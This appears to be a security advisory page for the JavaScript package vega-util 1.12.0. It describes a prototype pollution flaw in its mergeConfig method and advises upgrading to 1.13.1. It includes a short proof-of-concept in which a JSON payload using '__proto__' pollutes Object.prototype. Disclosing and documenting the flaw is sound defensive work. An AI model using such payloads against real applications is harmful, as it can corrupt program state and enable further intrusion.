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vega-util@1.12.0 vulnerabilities

JavaScript utilities for Vega.

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Direct Vulnerabilities

Known vulnerabilities in the vega-util package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

vega-util is a JavaScript utilities package for Vega.

Affected versions of this package are vulnerable to Prototype Pollution. The vega.mergeConfig method within vega-util could be tricked into adding or modifying properties of Object.prototype.

PoC by Snyk

var util = require('vega-util')
var config = '{style: {point: {shape: triangle-right}}}'
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';

  var c = util.mergeConfig(
    config,
    JSON.parse(malicious_payload)
  );
console.log({}.vulnerable);

How to fix Prototype Pollution?

Upgrade vega-util to version 1.13.1 or higher.

<1.13.1
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